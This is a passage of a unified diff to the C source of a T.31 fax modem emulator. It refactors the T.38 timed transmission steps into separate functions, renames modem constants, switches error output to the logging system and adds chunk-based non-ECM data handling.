-        t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK, NULL, 0, DATA_TX_COUNT);
-        if (s->hdlc_tx.len)
-            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
-        fe->next_tx_samples += ms_to_samples(fe->ms_per_tx_chunk);
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int stream_cng(t31_state_t *s)
+{
+    t31_t38_front_end_state_t *fe;
+    int delay;
+
+    fe = &s->t38_fe;
+    for (delay = 0;  delay == 0;  )
+    {
+        switch (fe->timed_step)
+        {
+        case T38_TIMED_STEP_CNG:
+            /* It seems common practice to start with a no signal indicator, though
+               this is not a specified requirement of the T.38 spec. Since we should
+               be sending 200ms of silence, according to T.30, starting that delay with
+               a no signal indication makes sense. */
+            fe->timed_step = T38_TIMED_STEP_CNG_2;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL);
+            delay = 200000;
+            fe->next_tx_samples = fe->samples;
+            break;
+        case T38_TIMED_STEP_CNG_2:
+            /* Initial short delay over. Send the CNG indicator. CNG persists until something
+               coming the other way interrupts it, or a long timeout controlled by the T.30 engine
+               expires. */
+            fe->timed_step = T38_TIMED_STEP_NONE;
+            delay = t38_core_send_indicator(&fe->t38, T38_IND_CNG);
+            fe->current_tx_data_type = T38_DATA_NONE;
+            return delay;
+        }
+    }
+    return delay;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t31_t38_send_timeout(t31_state_t *s, int samples)
+{
+    t31_t38_front_end_state_t *fe;
+    int delay;
+
+    fe = &s->t38_fe;
+    if (fe->current_rx_type == T30_MODEM_DONE  ||  fe->current_tx_type == T30_MODEM_DONE)
+        return TRUE;
+
+    fe->samples += samples;
+    if (fe->timeout_rx_samples  &&  fe->samples > fe->timeout_rx_samples)
+    {
+        span_log(&s->logging, SPAN_LOG_FLOW, "Timeout mid-receive\n");
+        fe->timeout_rx_samples = 0;
+        front_end_status(s, T30_FRONT_END_RECEIVE_COMPLETE);
+    }
+    if (fe->timed_step == T38_TIMED_STEP_NONE)
+        return FALSE;
+    /* Wait until the right time comes along, unless we are working in "no delays" mode, while talking to an
+       IAF terminal. */
+    if (fe->ms_per_tx_chunk  &&  fe->samples < fe->next_tx_samples)
+        return FALSE;
+    /* Its time to send something */
+    delay = 0;
+    switch (fe->timed_step & 0xFFF0)
+    {
+    case T38_TIMED_STEP_NON_ECM_MODEM:
+        delay = stream_non_ecm(s);
         break;
-    case T38_TIMED_STEP_HDLC_MODEM_4:
-        /* Note that some boxes do not like us sending a T38_FIELD_HDLC_SIG_END at this point.
-           A T38_IND_NO_SIGNAL should always be OK. */
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        s->hdlc_tx.len = 0;
-        //t30_front_end_status(&(s->t30), T30_FRONT_END_SEND_STEP_COMPLETE);
+    case T38_TIMED_STEP_HDLC_MODEM:
+        delay = stream_hdlc(s);
         break;
+    //case T38_TIMED_STEP_FAKE_HDLC_MODEM:
+    //    delay = stream_fake_hdlc(s);
+    //    break;
     case T38_TIMED_STEP_CED:
-        /* It seems common practice to start with a no signal indicator, though
-           this is not a specified requirement. Since we should be sending 200ms
-           of silence, starting the delay with a no signal indication makes sense.
-           We do need a 200ms delay, as that is a specification requirement. */
-        fe->timed_step = T38_TIMED_STEP_CED_2;
-        fe->next_tx_samples = fe->samples + ms_to_samples(200);
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
+        delay = stream_ced(s);
         break;
-    case T38_TIMED_STEP_CED_2:
-        /* Initial 200ms delay over. Send the CED indicator */
-        fe->next_tx_samples = fe->samples + ms_to_samples(3000);
-        fe->timed_step = T38_TIMED_STEP_PAUSE;
-        t38_core_send_indicator(&fe->t38, T38_IND_CED, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
-        break;
     case T38_TIMED_STEP_CNG:
-        /* It seems common practice to start with a no signal indicator, though
-           this is not a specified requirement. Since we should be sending 200ms
-           of silence, starting the delay with a no signal indication makes sense.
-           We do need a 200ms delay, as that is a specification requirement. */
-        fe->timed_step = T38_TIMED_STEP_CNG_2;
-        fe->next_tx_samples = fe->samples + ms_to_samples(200);
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
+        delay = stream_cng(s);
         break;
-    case T38_TIMED_STEP_CNG_2:
-        /* Initial short delay over. Send the CNG indicator */
-        fe->timed_step = T38_TIMED_STEP_NONE;
-        t38_core_send_indicator(&fe->t38, T38_IND_CNG, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
-        break;
     case T38_TIMED_STEP_PAUSE:
         /* End of timed pause */
         fe->timed_step = T38_TIMED_STEP_NONE;
-        //t30_front_end_status(&(s->t30), T30_FRONT_END_SEND_STEP_COMPLETE);
+        front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
         break;
     }
+    fe->next_tx_samples += us_to_samples(delay);
     return FALSE;
 }
 /*- End of function --------------------------------------------------------*/
@@ -682,10 +1066,13 @@
         {
             t->at_state.rx_data[t->at_state.rx_data_bytes++] = DLE;
             t->at_state.rx_data[t->at_state.rx_data_bytes++] = ETX;
-            t->at_state.at_tx_handler(&t->at_state, t->at_state.at_tx_user_data, t->at_state.rx_data, t->at_state.rx_data_bytes);
+            t->at_state.at_tx_handler(&t->at_state,
+                                      t->at_state.at_tx_user_data,
+                                      t->at_state.rx_data,
+                                      t->at_state.rx_data_bytes);
             t->at_state.rx_data_bytes = 0;
         }
-        restart_modem(t, T31_SILENCE_TX);
+        restart_modem(t, FAX_MODEM_SILENCE_TX);
         break;
     case AT_MODEM_CONTROL_RESTART:
         restart_modem(t, (int) (intptr_t) num);
@@ -726,7 +1113,10 @@
         {
             s->at_state.rx_data[s->at_state.rx_data_bytes++] = DLE;
             s->at_state.rx_data[s->at_state.rx_data_bytes++] = ETX;
-            s->at_state.at_tx_handler(&s->at_state, s->at_state.at_tx_user_data, s->at_state.rx_data, s->at_state.rx_data_bytes);
+            s->at_state.at_tx_handler(&s->at_state,
+                                      s->at_state.at_tx_user_data,
+                                      s->at_state.rx_data,
+                                      s->at_state.rx_data_bytes);
             s->at_state.rx_data_bytes = 0;
             at_put_response_code(&s->at_state, AT_RESPONSE_CODE_NO_CARRIER);
             t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
@@ -760,7 +1150,10 @@
         s->at_state.rx_data[s->at_state.rx_data_bytes++] = (uint8_t) s->audio.current_byte;
         if (s->at_state.rx_data_bytes >= 250)
         {
-            s->at_state.at_tx_handler(&s->at_state, s->at_state.at_tx_user_data, s->at_state.rx_data, s->at_state.rx_data_bytes);
+            s->at_state.at_tx_handler(&s->at_state,
+                                      s->at_state.at_tx_user_data,
+                                      s->at_state.rx_data,
+                                      s->at_state.rx_data_bytes);
             s->at_state.rx_data_bytes = 0;
         }
         s->audio.bit_no = 0;
@@ -769,6 +1162,32 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void non_ecm_put_chunk(void *user_data, const uint8_t buf[], int len)
+{
+    t31_state_t *s;
+    int i;
+
+    s = (t31_state_t *) user_data;
+    /* Ignore any fractional bytes which may have accumulated */
+    for (i = 0;  i < len;  i++)
+    {
+        if (buf[i] == DLE)
+            s->at_state.rx_data[s->at_state.rx_data_bytes++] = DLE;
+        s->at_state.rx_data[s->at_state.rx_data_bytes++] = buf[i];
+        if (s->at_state.rx_data_bytes >= 250)
+        {
+            s->at_state.at_tx_handler(&s->at_state,
+                                      s->at_state.at_tx_user_data,
+                                      s->at_state.rx_data,
+                                      s->at_state.rx_data_bytes);
+            s->at_state.rx_data_bytes = 0;
+        }
+    }
+    s->audio.bit_no = 0;
+    s->audio.current_byte = 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int non_ecm_get_bit(void *user_data)
 {
     t31_state_t *s;
@@ -784,12 +1203,13 @@
             if (s->tx.out_bytes > T31_TX_BUF_LEN - 1)
             {
                 s->tx.out_bytes = T31_TX_BUF_LEN - 1;
-                fprintf(stderr, "End of transmit buffer reached!\n");
+                span_log(&s->logging, SPAN_LOG_FLOW, "End of transmit buffer reached!\n");
             }
             if (s->tx.holding)
             {
-                /* See if the buffer is approaching empty. It might be time to release flow control. */
-                if (s->tx.out_bytes > 1024)
+                /* See if the buffer is approaching empty. It might be time to
+                   release flow control. */
+                if (s->tx.out_bytes > T31_TX_BUF_LOW_TIDE)
                 {
                     s->tx.holding = FALSE;
                     /* Tell the application to release further data */
@@ -820,6 +1240,56 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static int non_ecm_get_chunk(void *user_data, uint8_t buf[], int len)
+{
+    t31_state_t *s;
+    int i;
+
+    s = (t31_state_t *) user_data;
+    for (i = 0;  i < len;  i++)
+    {
+        if (s->tx.out_bytes != s->tx.in_bytes)
+        {
+            /* There is real data available to send */
+            buf[i] = s->tx.data[s->tx.out_bytes++];
+            if (s->tx.out_bytes > T31_TX_BUF_LEN - 1)
+            {
+                s->tx.out_bytes = T31_TX_BUF_LEN - 1;
+                span_log(&s->logging, SPAN_LOG_FLOW, "End of transmit buffer reached!\n");
+            }
+            if (s->tx.holding)
+            {
+                /* See if the buffer is approaching empty. It might be time to release flow control. */
+                if (s->tx.out_bytes > T31_TX_BUF_LOW_TIDE)
+                {
+                    s->tx.holding = FALSE;
+                    /* Tell the application to release further data */
+                    at_modem_control(&s->at_state, AT_MODEM_CONTROL_CTS, (void *) 1);
+                }
+            }
+            s->tx.data_started = TRUE;
+        }
+        else
+        {
+            if (s->tx.final)
+            {
+                s->tx.final = FALSE;
+                /* This will put the modem into its shutdown sequence. When
+                   it has finally shut down, an OK response will be sent. */
+                //return SIG_STATUS_END_OF_DATA;
+                return i;
+            }
+            /* Fill with 0xFF bytes at the start of transmission, or 0x00 if we are in
+               the middle of transmission. This follows T.31 and T.30 practice. */
+            buf[i] = (s->tx.data_started)  ?  0x00  :  0xFF;
+        }
+    }
+    s->audio.bit_no = 0;
+    s->audio.current_byte = 0;
+    return len;
+}
+/*- End of function --------------------------------------------------------*/
+
 static void tone_detected(void *user_data, int on, int level, int delay)
 {
     t31_state_t *s;
@@ -866,7 +1336,7 @@
         s->at_state.rx_trained = TRUE;
         break;
     case SIG_STATUS_CARRIER_UP:
-        if (s->modem == T31_CNG_TONE  ||  s->modem == T31_NOCNG_TONE  ||  s->modem == T31_V21_RX)
+        if (s->modem == FAX_MODEM_CNG_TONE  ||  s->modem == FAX_MODEM_NOCNG_TONE  ||  s->modem == FAX_MODEM_V21_RX)
         {
             s->at_state.rx_signal_present = TRUE;
             s->rx_frame_received = FALSE;
@@ -899,14 +1369,14 @@
         s->at_state.rx_trained = FALSE;
         break;
     case SIG_STATUS_FRAMING_OK:
-        if (s->modem == T31_CNG_TONE  ||  s->modem == T31_NOCNG_TONE)
+        if (s->modem == FAX_MODEM_CNG_TONE  ||  s->modem == FAX_MODEM_NOCNG_TONE)
         {
             /* Once we get any valid HDLC the CNG tone stops, and we drop
                to the V.21 receive modem on its own. */
-            s->modem = T31_V21_RX;
+            s->modem = FAX_MODEM_V21_RX;
             s->at_state.transmit = FALSE;
         }
-        if (s->modem == T31_V17_RX  ||  s->modem == T31_V27TER_RX  ||  s->modem == T31_V29_RX)
+        if (s->modem == FAX_MODEM_V17_RX  ||  s->modem == FAX_MODEM_V27TER_RX  ||  s->modem == FAX_MODEM_V29_RX)
         {
             /* V.21 has been detected while expecting a different carrier.
                If +FAR=0 then result +FCERROR and return to command-mode.
@@ -916,7 +1386,7 @@
             {
                 s->at_state.rx_signal_present = TRUE;
                 s->rx_frame_received = TRUE;
-                s->modem = T31_V21_RX;
+                s->modem = FAX_MODEM_V21_RX;
                 s->at_state.transmit = FALSE;
                 s->at_state.dte_is_waiting = TRUE;
                 at_put_response_code(&s->at_state, AT_RESPONSE_CODE_FRH3);
@@ -924,7 +1394,7 @@
             }
             else
             {
-                s->modem = T31_SILENCE_TX;
+                s->modem = FAX_MODEM_SILENCE_TX;
                 t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
                 s->rx_frame_received = FALSE;
                 at_put_response_code(&s->at_state, AT_RESPONSE_CODE_FCERROR);
@@ -958,7 +1428,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static void hdlc_accept(void *user_data, const uint8_t *msg, int len, int ok)
+static void hdlc_accept_frame(void *user_data, const uint8_t *msg, int len, int ok)
 {
     t31_state_t *s;
     uint8_t buf[256];
@@ -1031,20 +1501,20 @@
 
 static void t31_v21_rx(t31_state_t *s)
 {
-    hdlc_rx_init(&(s->audio.modems.hdlc_rx), FALSE, TRUE, HDLC_FRAMING_OK_THRESHOLD, hdlc_accept, s);
     s->at_state.ok_is_pending = FALSE;
     s->hdlc_tx.final = FALSE;
     s->hdlc_tx.len = 0;
     s->dled = FALSE;
+    hdlc_rx_init(&(s->audio.modems.hdlc_rx), FALSE, TRUE, HDLC_FRAMING_OK_THRESHOLD, hdlc_accept_frame, s);
     fsk_rx_init(&(s->audio.modems.v21_rx), &preset_fsk_specs[FSK_V21CH2], TRUE, (put_bit_func_t) hdlc_rx_put_bit, &(s->audio.modems.hdlc_rx));
-    fsk_rx_signal_cutoff(&(s->audio.modems.v21_rx), -39.09);
+    fsk_rx_signal_cutoff(&(s->audio.modems.v21_rx), -39.09f);
     s->at_state.transmit = TRUE;
 }
 /*- End of function --------------------------------------------------------*/
 
 static int restart_modem(t31_state_t *s, int new_modem)
 {
-    int ind;
+    int use_hdlc;
     fax_modems_state_t *t;
 
     t = &s->audio.modems;
@@ -1057,14 +1527,16 @@
     s->at_state.rx_signal_present = FALSE;
     s->at_state.rx_trained = FALSE;
     s->rx_frame_received = FALSE;
-    t->rx_handler = (span_rx_handler_t *) &span_dummy_rx;
-    t->rx_user_data = NULL;
+    set_rx_handler(s, (span_rx_handler_t *) &span_dummy_rx, NULL);
+    use_hdlc = FALSE;
     switch (s->modem)
     {
-    case T31_CNG_TONE:
+    case FAX_MODEM_CNG_TONE:
         if (s->t38_mode)
         {
-            t38_core_send_indicator(&s->t38_fe.t38, T38_IND_CNG, INDICATOR_TX_COUNT);
+            s->t38_fe.next_tx_samples = s->t38_fe.samples;
+            s->t38_fe.timed_step = T38_TIMED_STEP_CNG;
+            s->t38_fe.current_tx_data_type = T38_DATA_NONE;
         }
         else
         {
@@ -1074,48 +1546,49 @@
             /* Do V.21/HDLC receive in parallel. The other end may send its
                first message at any time. The CNG tone will continue until
                we get a valid preamble. */
-            t->rx_handler = (span_rx_handler_t *) &cng_rx;
-            t->rx_user_data = s;
+            set_rx_handler(s, (span_rx_handler_t *) &cng_rx, s);
             t31_v21_rx(s);
-            t->tx_handler = (span_tx_handler_t *) &modem_connect_tones_tx;
-            t->tx_user_data = &t->connect_tx;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &modem_connect_tones_tx, &t->connect_tx);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->at_state.transmit = TRUE;
         break;
-    case T31_NOCNG_TONE:
+    case FAX_MODEM_NOCNG_TONE:
         if (s->t38_mode)
         {
         }
         else
         {
-            t->rx_handler = (span_rx_handler_t *) &cng_rx;
-            t->rx_user_data = s;
+            set_rx_handler(s, (span_rx_handler_t *) &cng_rx, s);
             t31_v21_rx(s);
             silence_gen_set(&t->silence_gen, 0);
-            t->tx_handler = (span_tx_handler_t *) &silence_gen;
-            t->tx_user_data = &t->silence_gen;
+            set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
         }
         s->at_state.transmit = FALSE;
         break;
-    case T31_CED_TONE:
+    case FAX_MODEM_CED_TONE:
         if (s->t38_mode)
         {
-            t38_core_send_indicator(&s->t38_fe.t38, T38_IND_CED, INDICATOR_TX_COUNT);
+            s->t38_fe.next_tx_samples = s->t38_fe.samples;
+            s->t38_fe.timed_step = T38_TIMED_STEP_CED;
+            s->t38_fe.current_tx_data_type = T38_DATA_NONE;
         }
         else
         {
             modem_connect_tones_tx_init(&t->connect_tx, MODEM_CONNECT_TONES_FAX_CED);
-            t->tx_handler = (span_tx_handler_t *) &modem_connect_tones_tx;
-            t->tx_user_data = &t->connect_tx;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &modem_connect_tones_tx, &t->connect_tx);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->at_state.transmit = TRUE;
         break;
-    case T31_V21_TX:
+    case FAX_MODEM_V21_TX:
         if (s->t38_mode)
         {
-            t38_core_send_indicator(&s->t38_fe.t38, T38_IND_V21_PREAMBLE, INDICATOR_TX_COUNT);
+            s->t38_fe.next_tx_indicator = T38_IND_V21_PREAMBLE;
+            s->t38_fe.current_tx_data_type = T38_DATA_V21;
+            use_hdlc = TRUE;
+            s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
+            set_octets_per_data_packet(s, 300);
         }
         else
         {
@@ -1123,183 +1596,181 @@
             /* The spec says 1s +-15% of preamble. So, the minimum is 32 octets. */
             hdlc_tx_flags(&t->hdlc_tx, 32);
             fsk_tx_init(&t->v21_tx, &preset_fsk_specs[FSK_V21CH2], (get_bit_func_t) hdlc_tx_get_bit, &t->hdlc_tx);
-            t->tx_handler = (span_tx_handler_t *) &fsk_tx;
-            t->tx_user_data = &t->v21_tx;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &fsk_tx, &t->v21_tx);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->hdlc_tx.final = FALSE;
         s->hdlc_tx.len = 0;
         s->dled = FALSE;
         s->at_state.transmit = TRUE;
         break;
-    case T31_V21_RX:
+    case FAX_MODEM_V21_RX:
         if (s->t38_mode)
         {
         }
         else
         {
-            t->rx_handler = (span_rx_handler_t *) &fsk_rx;
-            t->rx_user_data = &t->v21_rx;
+            set_rx_handler(s, (span_rx_handler_t *) &fsk_rx, &t->v21_rx);
             t31_v21_rx(s);
         }
         break;
-    case T31_V17_TX:
+    case FAX_MODEM_V17_TX:
         if (s->t38_mode)
         {
             switch (s->bit_rate)
             {
             case 7200:
-                ind = (s->short_train)  ?  T38_IND_V17_7200_SHORT_TRAINING  :  T38_IND_V17_7200_LONG_TRAINING;
+                s->t38_fe.next_tx_indicator = (s->short_train)  ?  T38_IND_V17_7200_SHORT_TRAINING  :  T38_IND_V17_7200_LONG_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V17_7200;
                 break;
             case 9600:
-                ind = (s->short_train)  ?  T38_IND_V17_9600_SHORT_TRAINING  :  T38_IND_V17_9600_LONG_TRAINING;
+                s->t38_fe.next_tx_indicator = (s->short_train)  ?  T38_IND_V17_9600_SHORT_TRAINING  :  T38_IND_V17_9600_LONG_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V17_9600;
                 break;
             case 12000:
-                ind = (s->short_train)  ?  T38_IND_V17_12000_SHORT_TRAINING  :  T38_IND_V17_12000_LONG_TRAINING;
+                s->t38_fe.next_tx_indicator = (s->short_train)  ?  T38_IND_V17_12000_SHORT_TRAINING  :  T38_IND_V17_12000_LONG_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V17_12000;
                 break;
             case 14400:
-            default:
-                ind = (s->short_train)  ?  T38_IND_V17_14400_SHORT_TRAINING  :  T38_IND_V17_14400_LONG_TRAINING;
+                s->t38_fe.next_tx_indicator = (s->short_train)  ?  T38_IND_V17_14400_SHORT_TRAINING  :  T38_IND_V17_14400_LONG_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V17_14400;
                 break;
             }
-            t38_core_send_indicator(&s->t38_fe.t38, ind, INDICATOR_TX_COUNT);
+            set_octets_per_data_packet(s, s->bit_rate);
+            s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
         }
         else
         {
             v17_tx_restart(&t->v17_tx, s->bit_rate, FALSE, s->short_train);
-            t->tx_handler = (span_tx_handler_t *) &v17_tx;
-            t->tx_user_data = &t->v17_tx;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &v17_tx, &t->v17_tx);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->tx.out_bytes = 0;
         s->tx.data_started = FALSE;
         s->at_state.transmit = TRUE;
         break;
-    case T31_V17_RX:
+    case FAX_MODEM_V17_RX:
         if (!s->t38_mode)
         {
-            t->rx_handler = (span_rx_handler_t *) &v17_v21_rx;
-            t->rx_user_data = s;
+            set_rx_handler(s, (span_rx_handler_t *) &v17_v21_rx, s);
             v17_rx_restart(&t->v17_rx, s->bit_rate, s->short_train);
             /* Allow for +FCERROR/+FRH:3 */
             t31_v21_rx(s);
         }
         s->at_state.transmit = FALSE;
         break;
-    case T31_V27TER_TX:
+    case FAX_MODEM_V27TER_TX:
         if (s->t38_mode)
         {
             switch (s->bit_rate)
             {
             case 2400:
-                ind = T38_IND_V27TER_2400_TRAINING;
+                s->t38_fe.next_tx_indicator = T38_IND_V27TER_2400_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V27TER_2400;
                 break;
             case 4800:
-            default:
-                ind = T38_IND_V27TER_4800_TRAINING;
+                s->t38_fe.next_tx_indicator = T38_IND_V27TER_4800_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V27TER_4800;
                 break;
             }
-            t38_core_send_indicator(&s->t38_fe.t38, ind, INDICATOR_TX_COUNT);
+            set_octets_per_data_packet(s, s->bit_rate);
+            s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
         }
         else
         {
             v27ter_tx_restart(&t->v27ter_tx, s->bit_rate, FALSE);
-            t->tx_handler = (span_tx_handler_t *) &v27ter_tx;
-            t->tx_user_data = &t->v27ter_tx;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &v27ter_tx, &t->v27ter_tx);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->tx.out_bytes = 0;
         s->tx.data_started = FALSE;
         s->at_state.transmit = TRUE;
         break;
-    case T31_V27TER_RX:
+    case FAX_MODEM_V27TER_RX:
         if (!s->t38_mode)
         {
-            t->rx_handler = (span_rx_handler_t *) &v27ter_v21_rx;
-            t->rx_user_data = s;
+            set_rx_handler(s, (span_rx_handler_t *) &v27ter_v21_rx, s);
             v27ter_rx_restart(&t->v27ter_rx, s->bit_rate, FALSE);
             /* Allow for +FCERROR/+FRH:3 */
             t31_v21_rx(s);
         }
         s->at_state.transmit = FALSE;
         break;
-    case T31_V29_TX:
+    case FAX_MODEM_V29_TX:
         if (s->t38_mode)
         {
             switch (s->bit_rate)
             {
             case 7200:
-                ind = T38_IND_V29_7200_TRAINING;
+                s->t38_fe.next_tx_indicator = T38_IND_V29_7200_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V29_7200;
                 break;
             case 9600:
-            default:
-                ind = T38_IND_V29_9600_TRAINING;
+                s->t38_fe.next_tx_indicator = T38_IND_V29_9600_TRAINING;
+                s->t38_fe.current_tx_data_type = T38_DATA_V29_9600;
                 break;
             }
-            t38_core_send_indicator(&s->t38_fe.t38, ind, INDICATOR_TX_COUNT);
+            set_octets_per_data_packet(s, s->bit_rate);
+            s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
         }
         else
         {
             v29_tx_restart(&t->v29_tx, s->bit_rate, FALSE);
-            t->tx_handler = (span_tx_handler_t *) &v29_tx;
-            t->tx_user_data = &t->v29_tx;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &v29_tx, &t->v29_tx);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->tx.out_bytes = 0;
         s->tx.data_started = FALSE;
         s->at_state.transmit = TRUE;
         break;
-    case T31_V29_RX:
+    case FAX_MODEM_V29_RX:
         if (!s->t38_mode)
         {
-            t->rx_handler = (span_rx_handler_t *) &v29_v21_rx;
-            t->rx_user_data = s;
+            set_rx_handler(s, (span_rx_handler_t *) &v29_v21_rx, s);
             v29_rx_restart(&t->v29_rx, s->bit_rate, FALSE);
             /* Allow for +FCERROR/+FRH:3 */
             t31_v21_rx(s);
         }
         s->at_state.transmit = FALSE;
         break;
-    case T31_SILENCE_TX:
+    case FAX_MODEM_SILENCE_TX:
         if (s->t38_mode)
         {
-            t38_core_send_indicator(&s->t38_fe.t38, T38_IND_NO_SIGNAL, INDICATOR_TX_COUNT);
+            t38_core_send_indicator(&s->t38_fe.t38, T38_IND_NO_SIGNAL);
+            s->t38_fe.next_tx_samples = s->t38_fe.samples + ms_to_samples(700);
+            s->t38_fe.timed_step = T38_TIMED_STEP_PAUSE;
+            s->t38_fe.current_tx_data_type = T38_DATA_NONE;
         }
         else
         {
             silence_gen_set(&t->silence_gen, 0);
-            t->tx_handler = (span_tx_handler_t *) &silence_gen;
-            t->tx_user_data = &t->silence_gen;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->at_state.transmit = FALSE;
         break;
-    case T31_SILENCE_RX:
+    case FAX_MODEM_SILENCE_RX:
         if (!s->t38_mode)
         {
-            t->rx_handler = (span_rx_handler_t *) &silence_rx;
-            t->rx_user_data = s;
-
+            set_rx_handler(s, (span_rx_handler_t *) &silence_rx, s);
             silence_gen_set(&t->silence_gen, 0);
-            t->tx_handler = (span_tx_handler_t *) &silence_gen;
-            t->tx_user_data = &t->silence_gen;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         }
         s->at_state.transmit = FALSE;
         break;
-    case T31_FLUSH:
+    case FAX_MODEM_FLUSH:
         /* Send 200ms of silence to "push" the last audio out */
         if (s->t38_mode)
         {
-            t38_core_send_indicator(&s->t38_fe.t38, T38_IND_NO_SIGNAL, INDICATOR_TX_COUNT);
+            t38_core_send_indicator(&s->t38_fe.t38, T38_IND_NO_SIGNAL);
         }
         else
         {
-            s->modem = T31_SILENCE_TX;
+            s->modem = FAX_MODEM_SILENCE_TX;
             silence_gen_alter(&t->silence_gen, ms_to_samples(200));
-            t->tx_handler = (span_tx_handler_t *) &silence_gen;
-            t->tx_user_data = &t->silence_gen;
-            s->audio.next_tx_handler = NULL;
+            set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &t->silence_gen);
+            set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
             s->at_state.transmit = TRUE;
         }
         break;
@@ -1323,15 +1794,16 @@
             s->dled = FALSE;
             if (stuffed[i] == ETX)
             {
+                s->hdlc_tx.final = (s->hdlc_tx.buf[1] & 0x10);
                 if (s->t38_mode)
                 {
+                    send_hdlc(s, s->hdlc_tx.buf, s->hdlc_tx.len);
                 }
                 else
                 {
                     hdlc_tx_frame(&(s->audio.modems.hdlc_tx), s->hdlc_tx.buf, s->hdlc_tx.len);
+                    s->hdlc_tx.len = 0;
                 }
-                s->hdlc_tx.final = (s->hdlc_tx.buf[1] & 0x10);
-                s->hdlc_tx.len = 0;
             }
             else if (stuffed[i] == SUB)
             {
@@ -1379,14 +1851,14 @@
         if (s->tx.in_bytes > T31_TX_BUF_LEN - 1)
         {
             /* Oops. We hit the end of the buffer. Give up. Loose stuff. :-( */
-            fprintf(stderr, "No room in buffer for new data!\n");
+            span_log(&s->logging, SPAN_LOG_FLOW, "No room in buffer for new data!\n");
             return;
         }
     }
     if (!s->tx.holding)
     {
         /* See if the buffer is approaching full. We might need to apply flow control. */
-        if (s->tx.in_bytes > T31_TX_BUF_LEN - 1024)
+        if (s->tx.in_bytes > T31_TX_BUF_HIGH_TIDE)
         {
             s->tx.holding = TRUE;
             /* Tell the application to hold further data */
@@ -1416,8 +1888,11 @@
         if (new_transmit)
         {
             /* Send a specified period of silence, to space transmissions. */
-            restart_modem(s, T31_SILENCE_TX);
-            silence_gen_alter(&(s->audio.modems.silence_gen), ms_to_samples(val*10));
+            restart_modem(s, FAX_MODEM_SILENCE_TX);
+            if (s->t38_mode)
+                s->t38_fe.next_tx_samples = s->t38_fe.samples + ms_to_samples(val*10);
+            else
+                silence_gen_alter(&(s->audio.modems.silence_gen), ms_to_samples(val*10));
             s->at_state.transmit = TRUE;
         }
         else
@@ -1426,7 +1901,15 @@
             queue_flush(s->rx_queue);
             s->silence_awaited = ms_to_samples(val*10);
             t31_set_at_rx_mode(s, AT_MODE_DELIVERY);
-            restart_modem(s, T31_SILENCE_RX);
+            if (s->t38_mode)
+            {
+                at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
+                t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
+            }
+            else
+            {
+                restart_modem(s, FAX_MODEM_SILENCE_RX);
+            }
         }
         immediate_response = FALSE;
         span_log(&s->logging, SPAN_LOG_FLOW, "Silence %dms\n", val*10);
@@ -1435,7 +1918,7 @@
         switch (val)
         {
         case 3:
